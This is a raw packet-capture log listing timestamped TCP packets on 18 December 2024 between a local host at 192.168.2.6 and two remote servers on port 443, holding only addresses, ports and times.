Dec 18, 2024 21:11:12.114737988 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.114785910 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.124092102 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.124124050 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.124193907 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.124217987 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.124284983 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.132416010 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.132451057 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.132497072 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.132541895 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.132566929 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.132600069 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.175178051 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.175205946 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.175246000 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.175259113 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.175288916 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.175296068 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.175352097 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.261591911 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.261627913 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.261686087 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.261742115 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.261769056 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.261786938 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.268213987 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.268240929 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.268289089 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.268317938 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.268352985 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.268374920 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.275861979 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.275871992 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.275938034 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.275970936 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.276001930 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.276019096 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.283548117 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.283576965 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.283683062 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.283718109 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.283740044 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.283766031 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.290263891 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.290286064 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.290404081 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.290416002 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.290450096 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.298237085 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.298263073 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.298316956 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.298343897 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.298402071 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.298419952 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.304893017 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.304919958 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.304971933 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.305002928 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.305030107 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.305054903 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.312474012 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.312500000 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.312614918 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.312639952 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.312681913 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.363622904 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.363656998 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.363725901 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.363763094 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.363790035 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.363811016 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.417515993 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.417542934 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.417623043 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.417661905 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.417726994 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.440607071 CET	443	49765	152.199.21.175	192.168.2.6
Dec 18, 2024 21:11:12.440686941 CET	443	49765	152.199.21.175	192.168.2.6
Dec 18, 2024 21:11:12.440757990 CET	49765	443	192.168.2.6	152.199.21.175
Dec 18, 2024 21:11:12.440778017 CET	443	49765	152.199.21.175	192.168.2.6
Dec 18, 2024 21:11:12.440882921 CET	49765	443	192.168.2.6	152.199.21.175
Dec 18, 2024 21:11:12.442022085 CET	49765	443	192.168.2.6	152.199.21.175
Dec 18, 2024 21:11:12.442055941 CET	443	49765	152.199.21.175	192.168.2.6
Dec 18, 2024 21:11:12.457688093 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.457715034 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.457822084 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.457896948 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.457987070 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.463648081 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.463665009 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.463737011 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.463759899 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.463810921 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.463839054 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.468065023 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.468081951 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.468204975 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.468230009 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.468343019 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.475611925 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.475624084 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.475724936 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.475778103 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.475802898 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.475828886 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.483295918 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.483325958 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.483431101 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.483454943 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.483603954 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.490497112 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.490514040 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.490602970 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.490628004 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.490838051 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.497026920 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.497045994 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.497133017 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.497149944 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.497282982 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.504688025 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.504704952 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.504777908 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.504791021 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.504839897 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.530785084 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.530811071 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.530905008 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.530941010 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.531075001 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.564093113 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.564119101 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.564315081 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.564327955 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.564413071 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.588232994 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.588259935 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.588701010 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.588735104 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.589143991 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.610327959 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.610348940 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.611339092 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.611346006 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.612226963 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.647214890 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.647241116 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.648210049 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.648251057 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.652704000 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.655848980 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.655869007 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.656204939 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.656235933 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.660280943 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.660306931 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.660321951 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.660346985 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.660432100 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.660432100 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.664202929 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.667882919 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.667907953 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.668200016 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.668222904 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.675609112 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.675632954 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.675645113 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.675667048 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.675780058 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.675780058 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.676203012 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.682588100 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.682612896 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.682810068 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.682832956 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.683327913 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.690254927 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.690279007 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.690625906 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.690649986 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.692215919 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.696907043 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.696927071 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.698235035 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.698262930 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.700388908 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.720261097 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.720316887 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.720447063 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.720447063 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.720467091 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.724188089 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.737034082 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.737055063 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.737447023 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.737458944 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.738329887 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.750365019 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.750386000 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.750751019 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.750761986 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.752213955 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.765789032 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.765808105 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.766145945 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.766156912 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.766253948 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.780947924 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.780968904 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.781490088 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.781503916 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.781809092 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.795217037 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.795234919 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.796307087 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.796317101 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.796510935 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.838109970 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.838134050 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.838315010 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.838352919 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.838650942 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.845657110 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.845671892 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.846821070 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.846848965 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.846931934 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.852369070 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.852385998 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.852674961 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.852699995 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.852881908 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.859982967 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.859999895 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.860204935 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.860232115 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.866566896 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.867552996 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.867573977 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.868200064 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.868217945 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.872873068 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.874814034 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.874828100 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.874943018 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.874943018 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.874960899 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.876422882 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.882275105 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.882285118 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.883322001 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.883342028 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.884509087 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.889022112 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.889039040 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.889276981 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.889295101 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.889518976 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.903382063 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.903399944 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.903615952 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.903636932 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.904208899 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.914458990 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.914479971 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.914658070 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.914669037 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.915368080 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.925717115 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.925740004 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.925825119 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.925841093 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.927350998 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.936400890 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.936422110 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.937870026 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.937885046 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.938267946 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.946928978 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.946950912 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.947210073 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.947226048 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.948185921 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.956671953 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.956691980 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.963321924 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.963351011 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.965873003 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.965893984 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.965933084 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.965933084 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.965943098 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.965991974 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.965991974 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.976486921 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.976502895 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.980278969 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:12.980288982 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:12.986713886 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.030329943 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.030356884 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.032212973 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.032249928 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.036408901 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.038002014 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.038018942 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.040205956 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.040215969 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.045512915 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.045536041 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.045559883 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.045572042 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.045595884 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.045638084 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.045638084 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.048780918 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.048863888 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.049093962 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.056206942 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.097630024 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.097662926 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.100687027 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.100709915 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.104912043 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.104934931 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.104980946 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.104988098 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.105035067 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.105035067 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.113151073 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.113168001 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.114943981 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.114952087 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.115113974 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.121279955 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.121295929 CET	443	49766	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:13.124635935 CET	49766	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:13.124644995 CET	443	49766	150.171.27.10	192.168.2.6
